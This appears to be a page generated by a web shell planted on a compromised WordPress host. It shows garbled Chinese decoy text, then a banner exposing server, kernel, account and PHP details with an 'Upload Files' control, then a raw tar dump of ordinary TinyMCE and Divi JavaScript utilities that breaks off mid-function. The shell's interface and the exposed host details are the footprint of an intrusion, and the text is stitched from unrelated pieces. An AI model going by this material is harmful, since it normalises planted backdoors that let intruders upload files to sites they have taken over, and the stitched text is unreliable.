Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/t/u/studionolh/www/wp-includes/Requests/Cookie/reusable-blocks/utils.tar
validate.js000064400000014502152333340130006672 0ustar00/**
 * validate.js
 *
 * Released under LGPL License.
 * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

/**
  // String validation:

  if (!Validator.isEmail('myemail'))
    alert('Invalid email.');

  // Form validation:

  var f = document.forms['myform'];

  if (!Validator.isEmail(f.myemail))
    alert('Invalid email.');
*/

var Validator = {
  isEmail : function (s) {
    return this.test(s, '^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$');
  },

  isAbsUrl : function (s) {
    return this.test(s, '^(news|telnet|nttp|file|http|ftp|https)://[-A-Za-z0-9\\.]+\\/?.*$');
  },

  isSize : function (s) {
    return this.test(s, '^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)?$');
  },

  isId : function (s) {
    return this.test(s, '^[A-Za-z_]([A-Za-z0-9_])*$');
  },

  isEmpty : function (s) {
    var nl, i;

    if (s.nodeName == 'SELECT' && s.selectedIndex < 1) {
      return true;
    }

    if (s.type == 'checkbox' && !s.checked) {
      return true;
    }

    if (s.type == 'radio') {
      for (i = 0, nl = s.form.elements; i < nl.length; i++) {
        if (nl[i].type == "radio" && nl[i].name == s.name && nl[i].checked) {
          return false;
        }
      }

      return true;
    }

    return new RegExp('^\\s*$').test(s.nodeType == 1 ? s.value : s);
  },

  isNumber : function (s, d) {
    return !isNaN(s.nodeType == 1 ? s.value : s) && (!d || !this.test(s, '^-?[0-9]*\\.[0-9]*$'));
  },

  test : function (s, p) {
    s = s.nodeType == 1 ? s.value : s;

    return s == '' || new RegExp(p).test(s);
  }
};

var AutoValidator = {
  settings : {
    id_cls : 'id',
    int_cls : 'int',
    url_cls : 'url',
    number_cls : 'number',
    email_cls : 'email',
    size_cls : 'size',
    required_cls : 'required',
    invalid_cls : 'invalid',
    min_cls : 'min',
    max_cls : 'max'
  },

  init : function (s) {
    var n;

    for (n in s) {
      this.settings[n] = s[n];
    }
  },

  validate : function (f) {
    var i, nl, s = this.settings, c = 0;

    nl = this.tags(f, 'label');
    for (i = 0; i < nl.length; i++) {
      this.removeClass(nl[i], s.invalid_cls);
      nl[i].setAttribute('aria-invalid', false);
    }

    c += this.validateElms(f, 'input');
    c += this.validateElms(f, 'select');
    c += this.validateElms(f, 'textarea');

    return c == 3;
  },

  invalidate : function (n) {
    this.mark(n.form, n);
  },

  getErrorMessages : function (f) {
    var nl, i, s = this.settings, field, msg, values, messages = [], ed = tinyMCEPopup.editor;
    nl = this.tags(f, "label");
    for (i = 0; i < nl.length; i++) {
      if (this.hasClass(nl[i], s.invalid_cls)) {
        field = document.getElementById(nl[i].getAttribute("for"));
        values = { field: nl[i].textContent };
        if (this.hasClass(field, s.min_cls, true)) {
          message = ed.getLang('invalid_data_min');
          values.min = this.getNum(field, s.min_cls);
        } else if (this.hasClass(field, s.number_cls)) {
          message = ed.getLang('invalid_data_number');
        } else if (this.hasClass(field, s.size_cls)) {
          message = ed.getLang('invalid_data_size');
        } else {
          message = ed.getLang('invalid_data');
        }

        message = message.replace(/{\#([^}]+)\}/g, function (a, b) {
          return values[b] || '{#' + b + '}';
        });
        messages.push(message);
      }
    }
    return messages;
  },

  reset : function (e) {
    var t = ['label', 'input', 'select', 'textarea'];
    var i, j, nl, s = this.settings;

    if (e == null) {
      return;
    }

    for (i = 0; i < t.length; i++) {
      nl = this.tags(e.form ? e.form : e, t[i]);
      for (j = 0; j < nl.length; j++) {
        this.removeClass(nl[j], s.invalid_cls);
        nl[j].setAttribute('aria-invalid', false);
      }
    }
  },

  validateElms : function (f, e) {
    var nl, i, n, s = this.settings, st = true, va = Validator, v;

    nl = this.tags(f, e);
    for (i = 0; i < nl.length; i++) {
      n = nl[i];

      this.removeClass(n, s.invalid_cls);

      if (this.hasClass(n, s.required_cls) && va.isEmpty(n)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.number_cls) && !va.isNumber(n)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.int_cls) && !va.isNumber(n, true)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.url_cls) && !va.isAbsUrl(n)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.email_cls) && !va.isEmail(n)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.size_cls) && !va.isSize(n)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.id_cls) && !va.isId(n)) {
        st = this.mark(f, n);
      }

      if (this.hasClass(n, s.min_cls, true)) {
        v = this.getNum(n, s.min_cls);

        if (isNaN(v) || parseInt(n.value) < parseInt(v)) {
          st = this.mark(f, n);
        }
      }

      if (this.hasClass(n, s.max_cls, true)) {
        v = this.getNum(n, s.max_cls);

        if (isNaN(v) || parseInt(n.value) > parseInt(v)) {
          st = this.mark(f, n);
        }
      }
    }

    return st;
  },

  hasClass : function (n, c, d) {
    return new RegExp('\\b' + c + (d ? '[0-9]+' : '') + '\\b', 'g').test(n.className);
  },

  getNum : function (n, c) {
    c = n.className.match(new RegExp('\\b' + c + '([0-9]+)\\b', 'g'))[0];
    c = c.replace(/[^0-9]/g, '');

    return c;
  },

  addClass : function (n, c, b) {
    var o = this.removeClass(n, c);
    n.className = b ? c + (o !== '' ? (' ' + o) : '') : (o !== '' ? (o + ' ') : '') + c;
  },

  removeClass : function (n, c) {
    c = n.className.replace(new RegExp("(^|\\s+)" + c + "(\\s+|$)"), ' ');
    return n.className = c !== ' ' ? c : '';
  },

  tags : function (f, s) {
    return f.getElementsByTagName(s);
  },

  mark : function (f, n) {
    var s = this.settings;

    this.addClass(n, s.invalid_cls);
    n.setAttribute('aria-invalid', 'true');
    this.markLabels(f, n, s.invalid_cls);

    return false;
  },

  markLabels : function (f, n, ic) {
    var nl, i;

    nl = this.tags(f, "label");
    for (i = 0; i < nl.length; i++) {
      if (nl[i].getAttribute("for") == n.id || nl[i].htmlFor == n.id) {
        this.addClass(nl[i], ic);
      }
    }

    return null;
  }
};
editable_selects.js000064400000004115152333340130010373 0ustar00/**
 * editable_selects.js
 *
 * Released under LGPL License.
 * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

var TinyMCE_EditableSelects = {
  editSelectElm : null,

  init : function () {
    var nl = document.getElementsByTagName("select"), i, d = document, o;

    for (i = 0; i < nl.length; i++) {
      if (nl[i].className.indexOf('mceEditableSelect') != -1) {
        o = new Option(tinyMCEPopup.editor.translate('value'), '__mce_add_custom__');

        o.className = 'mceAddSelectValue';

        nl[i].options[nl[i].options.length] = o;
        nl[i].onchange = TinyMCE_EditableSelects.onChangeEditableSelect;
      }
    }
  },

  onChangeEditableSelect : function (e) {
    var d = document, ne, se = window.event ? window.event.srcElement : e.target;

    if (se.options[se.selectedIndex].value == '__mce_add_custom__') {
      ne = d.createElement("input");
      ne.id = se.id + "_custom";
      ne.name = se.name + "_custom";
      ne.type = "text";

      ne.style.width = se.offsetWidth + 'px';
      se.parentNode.insertBefore(ne, se);
      se.style.display = 'none';
      ne.focus();
      ne.onblur = TinyMCE_EditableSelects.onBlurEditableSelectInput;
      ne.onkeydown = TinyMCE_EditableSelects.onKeyDown;
      TinyMCE_EditableSelects.editSelectElm = se;
    }
  },

  onBlurEditableSelectInput : function () {
    var se = TinyMCE_EditableSelects.editSelectElm;

    if (se) {
      if (se.previousSibling.value != '') {
        addSelectValue(document.forms[0], se.id, se.previousSibling.value, se.previousSibling.value);
        selectByValue(document.forms[0], se.id, se.previousSibling.value);
      } else {
        selectByValue(document.forms[0], se.id, '');
      }

      se.style.display = 'inline';
      se.parentNode.removeChild(se.previousSibling);
      TinyMCE_EditableSelects.editSelectElm = null;
    }
  },

  onKeyDown : function (e) {
    e = e || window.event;

    if (e.keyCode == 13) {
      TinyMCE_EditableSelects.onBlurEditableSelectInput();
    }
  }
};
form_utils.js000064400000013667152333340130007277 0ustar00/**
 * form_utils.js
 *
 * Released under LGPL License.
 * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

var themeBaseURL = tinyMCEPopup.editor.baseURI.toAbsolute('themes/' + tinyMCEPopup.getParam("theme"));

function getColorPickerHTML(id, target_form_element) {
  var h = "", dom = tinyMCEPopup.dom;

  if (label = dom.select('label[for=' + target_form_element + ']')[0]) {
    label.id = label.id || dom.uniqueId();
  }

  h += '<a role="button" aria-labelledby="' + id + '_label" id="' + id + '_link" href="javascript:;" onclick="tinyMCEPopup.pickColor(event,\'' + target_form_element + '\');" onmousedown="return false;" class="pickcolor">';
  h += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;<span id="' + id + '_label" class="mceVoiceLabel mceIconOnly" style="display:none;">' + tinyMCEPopup.getLang('browse') + '</span></span></a>';

  return h;
}

function updateColor(img_id, form_element_id) {
  document.getElementById(img_id).style.backgroundColor = document.forms[0].elements[form_element_id].value;
}

function setBrowserDisabled(id, state) {
  var img = document.getElementById(id);
  var lnk = document.getElementById(id + "_link");

  if (lnk) {
    if (state) {
      lnk.setAttribute("realhref", lnk.getAttribute("href"));
      lnk.removeAttribute("href");
      tinyMCEPopup.dom.addClass(img, 'disabled');
    } else {
      if (lnk.getAttribute("realhref")) {
        lnk.setAttribute("href", lnk.getAttribute("realhref"));
      }

      tinyMCEPopup.dom.removeClass(img, 'disabled');
    }
  }
}

function getBrowserHTML(id, target_form_element, type, prefix) {
  var option = prefix + "_" + type + "_browser_callback", cb, html;

  cb = tinyMCEPopup.getParam(option, tinyMCEPopup.getParam("file_browser_callback"));

  if (!cb) {
    return "";
  }

  html = "";
  html += '<a id="' + id + '_link" href="javascript:openBrowser(\'' + id + '\',\'' + target_form_element + '\', \'' + type + '\',\'' + option + '\');" onmousedown="return false;" class="browse">';
  html += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>';

  return html;
}

function openBrowser(img_id, target_form_element, type, option) {
  var img = document.getElementById(img_id);

  if (img.className != "mceButtonDisabled") {
    tinyMCEPopup.openBrowser(target_form_element, type, option);
  }
}

function selectByValue(form_obj, field_name, value, add_custom, ignore_case) {
  if (!form_obj || !form_obj.elements[field_name]) {
    return;
  }

  if (!value) {
    value = "";
  }

  var sel = form_obj.elements[field_name];

  var found = false;
  for (var i = 0; i < sel.options.length; i++) {
    var option = sel.options[i];

    if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) {
      option.selected = true;
      found = true;
    } else {
      option.selected = false;
    }
  }

  if (!found && add_custom && value != '') {
    var option = new Option(value, value);
    option.selected = true;
    sel.options[sel.options.length] = option;
    sel.selectedIndex = sel.options.length - 1;
  }

  return found;
}

function getSelectValue(form_obj, field_name) {
  var elm = form_obj.elements[field_name];

  if (elm == null || elm.options == null || elm.selectedIndex === -1) {
    return "";
  }

  return elm.options[elm.selectedIndex].value;
}

function addSelectValue(form_obj, field_name, name, value) {
  var s = form_obj.elements[field_name];
  var o = new Option(name, value);
  s.options[s.options.length] = o;
}

function addClassesToList(list_id, specific_option) {
  // Setup class droplist
  var styleSelectElm = document.getElementById(list_id);
  var styles = tinyMCEPopup.getParam('theme_advanced_styles', false);
  styles = tinyMCEPopup.getParam(specific_option, styles);

  if (styles) {
    var stylesAr = styles.split(';');

    for (var i = 0; i < stylesAr.length; i++) {
      if (stylesAr != "") {
        var key, value;

        key = stylesAr[i].split('=')[0];
        value = stylesAr[i].split('=')[1];

        styleSelectElm.options[styleSelectElm.length] = new Option(key, value);
      }
    }
  } else {
    /*tinymce.each(tinyMCEPopup.editor.dom.getClasses(), function(o) {
    styleSelectElm.options[styleSelectElm.length] = new Option(o.title || o['class'], o['class']);
    });*/
  }
}

function isVisible(element_id) {
  var elm = document.getElementById(element_id);

  return elm && elm.style.display != "none";
}

function convertRGBToHex(col) {
  var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi");

  var rgb = col.replace(re, "$1,$2,$3").split(',');
  if (rgb.length == 3) {
    r = parseInt(rgb[0]).toString(16);
    g = parseInt(rgb[1]).toString(16);
    b = parseInt(rgb[2]).toString(16);

    r = r.length == 1 ? '0' + r : r;
    g = g.length == 1 ? '0' + g : g;
    b = b.length == 1 ? '0' + b : b;

    return "#" + r + g + b;
  }

  return col;
}

function convertHexToRGB(col) {
  if (col.indexOf('#') != -1) {
    col = col.replace(new RegExp('[^0-9A-F]', 'gi'), '');

    r = parseInt(col.substring(0, 2), 16);
    g = parseInt(col.substring(2, 4), 16);
    b = parseInt(col.substring(4, 6), 16);

    return "rgb(" + r + "," + g + "," + b + ")";
  }

  return col;
}

function trimSize(size) {
  return size.replace(/([0-9\.]+)(px|%|in|cm|mm|em|ex|pt|pc)/i, '$1$2');
}

function getCSSSize(size) {
  size = trimSize(size);

  if (size == "") {
    return "";
  }

  // Add px
  if (/^[0-9]+$/.test(size)) {
    size += 'px';
  }
  // Sanity check, IE doesn't like broken values
  else if (!(/^[0-9\.]+(px|%|in|cm|mm|em|ex|pt|pc)$/i.test(size))) {
    return "";
  }

  return size;
}

function getStyle(elm, attrib, style) {
  var val = tinyMCEPopup.dom.getAttrib(elm, attrib);

  if (val != '') {
    return '' + val;
  }

  if (typeof (style) == 'undefined') {
    style = attrib;
  }

  return tinyMCEPopup.dom.getStyle(elm, style);
}
mctabs.js000064400000010100152333340130006340 0ustar00/**
 * mctabs.js
 *
 * Released under LGPL License.
 * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
 *
 * License: http://www.tinymce.com/license
 * Contributing: http://www.tinymce.com/contributing
 */

/*jshint globals: tinyMCEPopup */

function MCTabs() {
  this.settings = [];
  this.onChange = tinyMCEPopup.editor.windowManager.createInstance('tinymce.util.Dispatcher');
}

MCTabs.prototype.init = function (settings) {
  this.settings = settings;
};

MCTabs.prototype.getParam = function (name, default_value) {
  var value = null;

  value = (typeof (this.settings[name]) == "undefined") ? default_value : this.settings[name];

  // Fix bool values
  if (value == "true" || value == "false") {
    return (value == "true");
  }

  return value;
};

MCTabs.prototype.showTab = function (tab) {
  tab.className = 'current';
  tab.setAttribute("aria-selected", true);
  tab.setAttribute("aria-expanded", true);
  tab.tabIndex = 0;
};

MCTabs.prototype.hideTab = function (tab) {
  var t = this;

  tab.className = '';
  tab.setAttribute("aria-selected", false);
  tab.setAttribute("aria-expanded", false);
  tab.tabIndex = -1;
};

MCTabs.prototype.showPanel = function (panel) {
  panel.className = 'current';
  panel.setAttribute("aria-hidden", false);
};

MCTabs.prototype.hidePanel = function (panel) {
  panel.className = 'panel';
  panel.setAttribute("aria-hidden", true);
};

MCTabs.prototype.getPanelForTab = function (tabElm) {
  return tinyMCEPopup.dom.getAttrib(tabElm, "aria-controls");
};

MCTabs.prototype.displayTab = function (tab_id, panel_id, avoid_focus) {
  var panelElm, panelContainerElm, tabElm, tabContainerElm, selectionClass, nodes, i, t = this;

  tabElm = document.getElementById(tab_id);

  if (panel_id === undefined) {
    panel_id = t.getPanelForTab(tabElm);
  }

  panelElm = document.getElementById(panel_id);
  panelContainerElm = panelElm ? panelElm.parentNode : null;
  tabContainerElm = tabElm ? tabElm.parentNode : null;
  selectionClass = t.getParam('selection_class', 'current');

  if (tabElm && tabContainerElm) {
    nodes = tabContainerElm.childNodes;

    // Hide all other tabs
    for (i = 0; i < nodes.length; i++) {
      if (nodes[i].nodeName == "LI") {
        t.hideTab(nodes[i]);
      }
    }

    // Show selected tab
    t.showTab(tabElm);
  }

  if (panelElm && panelContainerElm) {
    nodes = panelContainerElm.childNodes;

    // Hide all other panels
    for (i = 0; i < nodes.length; i++) {
      if (nodes[i].nodeName == "DIV") {
        t.hidePanel(nodes[i]);
      }
    }

    if (!avoid_focus) {
      tabElm.focus();
    }

    // Show selected panel
    t.showPanel(panelElm);
  }
};

MCTabs.prototype.getAnchor = function () {
  var pos, url = document.location.href;

  if ((pos = url.lastIndexOf('#')) != -1) {
    return url.substring(pos + 1);
  }

  return "";
};


//Global instance
var mcTabs = new MCTabs();

tinyMCEPopup.onInit.add(function () {
  var tinymce = tinyMCEPopup.getWin().tinymce, dom = tinyMCEPopup.dom, each = tinymce.each;

  each(dom.select('div.tabs'), function (tabContainerElm) {
    //var keyNav;

    dom.setAttrib(tabContainerElm, "role", "tablist");

    var items = tinyMCEPopup.dom.select('li', tabContainerElm);
    var action = function (id) {
      mcTabs.displayTab(id, mcTabs.getPanelForTab(id));
      mcTabs.onChange.dispatch(id);
    };

    each(items, function (item) {
      dom.setAttrib(item, 'role', 'tab');
      dom.bind(item, 'click', function (evt) {
        action(item.id);
      });
    });

    dom.bind(dom.getRoot(), 'keydown', function (evt) {
      if (evt.keyCode === 9 && evt.ctrlKey && !evt.altKey) { // Tab
        //keyNav.moveFocus(evt.shiftKey ? -1 : 1);
        tinymce.dom.Event.cancel(evt);
      }
    });

    each(dom.select('a', tabContainerElm), function (a) {
      dom.setAttrib(a, 'tabindex', '-1');
    });

    /*keyNav = tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', {
      root: tabContainerElm,
      items: items,
      onAction: action,
      actOnFocus: true,
      enableLeftRight: true,
      enableUpDown: true
    }, tinyMCEPopup.dom);*/
  }
);
});html-utils.js000064400000012540152336022500007204 0ustar00import { isString } from 'lodash';
// import ETBuilderStore from '../stores/et-builder-store';

/**
 * Get the HTML of the current page.
 *
 * @returns {string} Page's HTML string.
 */
export function getPageHTML() {
  return document.getElementById('et-boc').innerHTML || '';
}

/**
 * Strip Style tags in a HTML string.
 *
 * @param {string} htmlString HTML string.
 * @returns {string} HTML string.
 */
export function stripStyleTag(htmlString) {
  // Create a new DOMParser instance
  const parser = new DOMParser();

  // Parse the HTML string into a DOM document
  const doc = parser.parseFromString(htmlString, 'text/html');

  // Remove all nested <style> nodes
  const styleNodes = doc.getElementsByTagName('style');
  for (let i = styleNodes.length - 1; i >= 0; i--) {
    const styleNode = styleNodes[i];
    styleNode.parentNode.removeChild(styleNode);
  }

  // Get the modified HTML string without nested <style> nodes
  return doc.documentElement.innerHTML;
}

/**
 * Strip attributes from heading tags.
 *
 * @param {string} htmlString HTML string.
 * @returns {string} HTML string.
 */
export function stripHeadingAttributes(htmlString) {
  // Create a new DOMParser instance
  const parser = new DOMParser();

  // Parse the HTML string into a DOM document
  const doc = parser.parseFromString(htmlString, 'text/html');

  // Strip HTML tags, except for heading tags, and remove attributes within heading tags
  const elements = doc.body.childNodes;
  for (let i = elements.length - 1; i >= 0; i--) {
    const element = elements[i];

    if (element.nodeType === Node.ELEMENT_NODE) {
      if (element.tagName !== 'H1' && element.tagName !== 'H2' && element.tagName !== 'H3' && element.tagName !== 'H4' && element.tagName !== 'H5' && element.tagName !== 'H6') {
        while (element.firstChild) {
          element.parentNode.insertBefore(element.firstChild, element);
        }
        element.parentNode.removeChild(element);
      } else {
        // Remove attributes within heading tags
        const { attributes } = element;
        for (let j = attributes.length - 1; j >= 0; j--) {
          element.removeAttribute(attributes[j].name);
        }
      }
    }
  }

  // Get the modified HTML string without HTML tags, except for heading tags
  return doc.body.innerHTML;
}

/**
 * Strip HTML Tags except heading tags.
 *
 * @param {string} htmlString HTML string.
 * @returns {string} HTML string.
 */
export function stripHTML(htmlString) {
  // String style tags along w/ the content.
  let strippedHTML = stripStyleTag(htmlString);

  // Remove all HTML tags except heading tags.
  strippedHTML = strippedHTML.replace(/<(?!\/?(h[1-6]))[^<>]*>/gi, '');

  // Remove all attributes in heading tags.
  strippedHTML = stripHeadingAttributes(strippedHTML);

  // Replace any encoded HTML entities.
  strippedHTML = strippedHTML.replace(/&([a-z\d]+|#[xX][a-f\d]+);/ig, '');

  // Replace any new line characters.
  strippedHTML = strippedHTML.replace(/(\r\n|\n|\r|\t)/gm, '');

  return strippedHTML;
}

/**
 * Gets HTML content of the given class name.
 * @param {string} className Class name.
 * @returns {string}
 */
export function getHTMLByClassName(className) {
  // Create a new DOMParser instance
  const parser = new DOMParser();

  const htmlString = getPageHTML();

  // Parse the HTML string into a DOM document
  const doc = parser.parseFromString(htmlString, 'text/html');

  // Get HTML content by class name using getElementsByClassName()
  const elementsByClass = doc.getElementsByClassName(className);
  for (let j = 0; j < elementsByClass.length; j++) {
    const htmlContentByClass = elementsByClass[j].innerHTML;

    if (htmlContentByClass) {
      return htmlContentByClass;
    }
  }

  return '';
}

/**
 * Gets section HTML.
 *
 * @param {string} componentAddress Component Address.
 * @returns {string} Section HTML.
 */
// export function getSectionHTML(componentAddress) {
//   const sections  = ETBuilderStore.getSections();
//   const addresses = componentAddress.split('.');

//   if (! addresses.length) {
//     return '';
//   }

//   const sectionShortcodeObj = sections[addresses[0]];
//   const sectionClass        = `${sectionShortcodeObj.type}_${sectionShortcodeObj.address}`;

//   return getHTMLByClassName(sectionClass);
// }

// export function getModuleHTML(componentAddress) {
//   const component   = ETBuilderStore.getShortcodeObjAtAddress(componentAddress);
//   const moduleClass = `${component.type}_${component._order}`;

//   return getHTMLByClassName(moduleClass);
// }

export function stripDefaultValues(value) {
  if ('string' !== typeof value) {
    return value;
  }

  Object.entries(ETBuilderBackend.defaults).forEach(([moduleType, moduleFields]) => {
    Object.entries(moduleFields).forEach(([field, content]) => {
      if (isString(content) && value.includes(content)) {
        value = value.replace(content, '');
      }
    });
  });
  return value;
}

export function getMaxCharacterLimit(textbox) {
  const style = getComputedStyle(textbox);
  const width = parseInt(style.width);
  const font = style.font;
  const characterWidth = getCharacterWidth(font);
  const characterLimit = Math.floor(width / characterWidth);
  return characterLimit + 20;
}

function getCharacterWidth(font) {
  const canvas = document.createElement("canvas");
  const context = canvas.getContext("2d");
  context.font = font;
  const metrics = context.measureText("A");
  return metrics.width;
}
color/color.js000064400000027750152336022500007347 0ustar00// External Dependencies
import findKey from 'lodash/findKey';
import forEach from 'lodash/forEach';
import includes from 'lodash/includes';
import isNull from 'lodash/isNull';
import isString from 'lodash/isString';
import isUndefined from 'lodash/isUndefined';
import { v4 as uuidv4 } from 'uuid';


const regexps = {
  hex: /^#[a-f0-9]{3}([a-f0-9]{3})?$/i,
  rgb: /^rgba?\(\s*\d{1,3}\s*,\s*\d{1,3}\s*,\s*\d{1,3}\s*(,\s*[\d\.]+)?\s*\)$/,
  hsl: /^hsla?\(\s*\d{1,3}\s*,\s*\d{1,3}%\s*,\s*\d{1,3}%\s*(,\s*[\d\.]+)?\s*\)$/,
};

const conversionMaths = {
  common: [
    { // 1
      h: 15,
      s: 20,
      l: 20,
    },
    { // Base
      h: 0,
      s: 0,
      l: 0,
    },
    { // 3
      h: - 15,
      s: 0,
      l: 0,
    },
    { // 4
      h: - 15,
      s: 0,
      l: - 30,
    },
    { // 5
      h: 165,
      s: 0,
      l: - 20,
    },
    { // 6
      h: 165,
      s: 0,
      l: 0,
    },
    { // 7
      h: 180,
      s: 0,
      l: 0,
    },
    { // 8
      h: 195,
      s: - 20,
      l: 20,
    },
  ],
  black: [
    { // 1
      h: 0,
      s: 0,
      l: 100,
    },
    { // Base
      h: 0,
      s: 0,
      l: 0,
    },
    { // 3
      h: 0,
      s: 0,
      l: 14,
    },
    { // 4
      h: 0,
      s: 0,
      l: 28,
    },
    { // 5
      h: 0,
      s: 0,
      l: 42,
    },
    { // 6
      h: 0,
      s: 0,
      l: 56,
    },
    { // 7
      h: 0,
      s: 0,
      l: 70,
    },
    { // 8
      h: 0,
      s: 0,
      l: 84,
    },
  ],
  white: [
    { // 1
      h: 0,
      s: 0,
      l: - 100,
    },
    { // Base
      h: 0,
      s: 0,
      l: 0,
    },
    { // 3
      h: 0,
      s: 0,
      l: - 16,
    },
    { // 4
      h: 0,
      s: 0,
      l: - 30,
    },
    { // 5
      h: 0,
      s: 0,
      l: - 44,
    },
    { // 6
      h: 0,
      s: 0,
      l: - 58,
    },
    { // 7
      h: 0,
      s: 0,
      l: - 72,
    },
    { // 8
      h: 0,
      s: 0,
      l: - 86,
    },
  ],
};

/**
 * Class for color conversion between RGB, HEX, and HSL color models
 * Also contains helper function for detecting color model type etc.
 */
class ETBuilderUtilsColor {
  static transparent = 'rgba(255,255,255,0)';

  static validUnits = [
    '%', // | Percent
    'px', // | Pixels
    'em', // | Font Size (em)
    'rem', // | Root-level Font Size (rem)
    'ex', // | X-Height (ex)
    'ch', // | Zero-width (ch)
    'pc', // | Picas (pc)
    'pt', // | Points (pt)
    'cm', // | Centimeters (cm)
    'mm', // | Millimeters (mm)
    'in', // | Inches (in)
    'vh', // | Viewport Height (vh)
    'vw', // | Viewport Width (vw)
    'vmin', // | Viewport Minimum (vmin)
    'vmax', // | Viewport Maximum (vmax)
  ];

  static isHex(colorString) {
    return regexps.hex.test(colorString);
  }

  static isRgb(colorString) {
    return regexps.rgb.test(colorString);
  }

  static isHsl(colorString) {
    return regexps.hsl.test(colorString);
  }

  /**
   * Retrieves color type from CSS color string. Supports HEX, RGB and HSL color types.
   *
   * @param colorString
   * @returns The matched color type in string, else `undefined`.
   */
  static getColorType(colorString) {
    return findKey(regexps, r => r.test(colorString));
  }

  static isColorValid(colorString) {
    return ! isUndefined(this.getColorType(colorString));
  }

  static normalize(colorValue) {
    const colorString = isString(colorValue) ? colorValue.toLowerCase().replace(/ /g, '') : '';

    if (colorString && this.isColorValid(colorString)) {
      return colorString;
    }

    return '';
  }

  /**
   * Extracts number values from rgb or rgba color definition string.
   *
   * @param rgb String color in rgb or rgba format.
   * @param colorString
   * @returns Array of red, blue, green and opacity values, else `undefined` in case of incorrect color string.
   */
  static rgbExtract(colorString) {
    let result;

    if (this.isRgb(colorString)) {
      const rgb = colorString.replace(/^(rgb|rgba)\(/, '').replace(/\)$/, '').replace(/\s/g, '').split(',');

      result = [
        parseInt(rgb[0]),
        parseInt(rgb[1]),
        parseInt(rgb[2]),
      ];

      if (4 === rgb.length) { // opacity included
        result.push(parseFloat(rgb[3]));
      }
    }

    return result;
  }

  /**
   * Converts RGB to HSL.
   * Assumes r, g and b between 0 and 255.
   *
   * @param r Red color value.
   * @param g Green color value.
   * @param b Blue color value.
   * @returns Array of hue, saturation and lightness in integer.
   * Like hue = 195, saturation = 15, lightness = 95.
   */
  static rgbToHsl(r, g, b) {
    const red   = r / 255;
    const green = g / 255;
    const blue  = b / 255;

    const max = Math.max(red, green, blue);
    const min = Math.min(red, green, blue);

    let hue         = 0;// achromatic by default
    let saturation  = 0;// achromatic by default
    const lightness = (max + min) / 2;

    if (max !== min) {
      const diff = max - min;

      if (lightness > 0.5) {
        saturation = diff / (2 - max - min);
      } else {
        saturation = diff / (max + min);
      }

      switch (max) {
        case red:
          hue = (green - blue) / diff + (green < blue ? 6 : 0);
          break;
        case green:
          hue = (blue - red) / diff + 2;
          break;
        case blue:
          hue = (red - green) / diff + 4;
          break;
      }

      hue *= 0.6;
    }

    const h = Math.round(100 * hue);
    const s = Math.round(100 * saturation);
    const l = Math.round(100 * lightness);

    return [h, s, l];
  }

  /**
   * Helper function to calculate color channel value.
   *
   * @param temp_1
   * @param temp_2
   * @param temp_hue
   * @returns Calculated channel value.
   * @private
   */
  static _adjustHslValue(temp_1, temp_2, temp_hue) {
    // normalize hue
    if (temp_hue < 0) {
      temp_hue += 1;
    }
    if (temp_hue > 1) {
      temp_hue -= 1;
    }

    if ((6 * temp_hue) < 1) {
      return temp_2 + (temp_1 - temp_2) * 6 * temp_hue;
    } if ((2 * temp_hue) < 1) {
      return temp_1;
    } if ((3 * temp_hue) < 2) {
      return temp_2 + (temp_1 - temp_2) * (2 / 3 - temp_hue) * 6;
    }

    return temp_2;
  }

  /**
   * Converts HSL to RGB.
   * Assumes h, s and l in integer. Like hue = 195, saturation = 15, lightness = 95.
   *
   * @param h Hue value in degrees.
   * @param s Saturation value in percentage.
   * @param l Lightness value.
   * @returns Array of red, blue and green values between 0 and 255.
   */
  static hslToRgb(h, s, l) {
    const hue        = h / 360;
    const saturation = s / 100;
    const lightness  = l / 100;

    let red   = lightness;// achromatic by default
    let green = lightness;// achromatic by default
    let blue  = lightness;// achromatic by default

    if (saturation !== 0) {
      const temp1 = lightness < 0.5
        ? lightness * (1 + saturation)
        : lightness + saturation - lightness * saturation;
      const temp2 = 2 * lightness - temp1;

      red   = this._adjustHslValue(temp1, temp2, hue + 1 / 3);
      green = this._adjustHslValue(temp1, temp2, hue);
      blue  = this._adjustHslValue(temp1, temp2, hue - 1 / 3);
    }

    return [Math.round(red * 255), Math.round(green * 255), Math.round(blue * 255)];
  }

  /**
   * Converts HEX color representation to RGB.
   *
   * @param {string} hex May contains `#` symbol and be in short 3-digit or long 6-digit format.
   * @returns {Array} Red, blue and green values between 0 and 255, else `undefined` in case of invalid hex value.
   */
  static hexToRgb(hex) {
    let result;

    let value   = hex.replace('#', '');
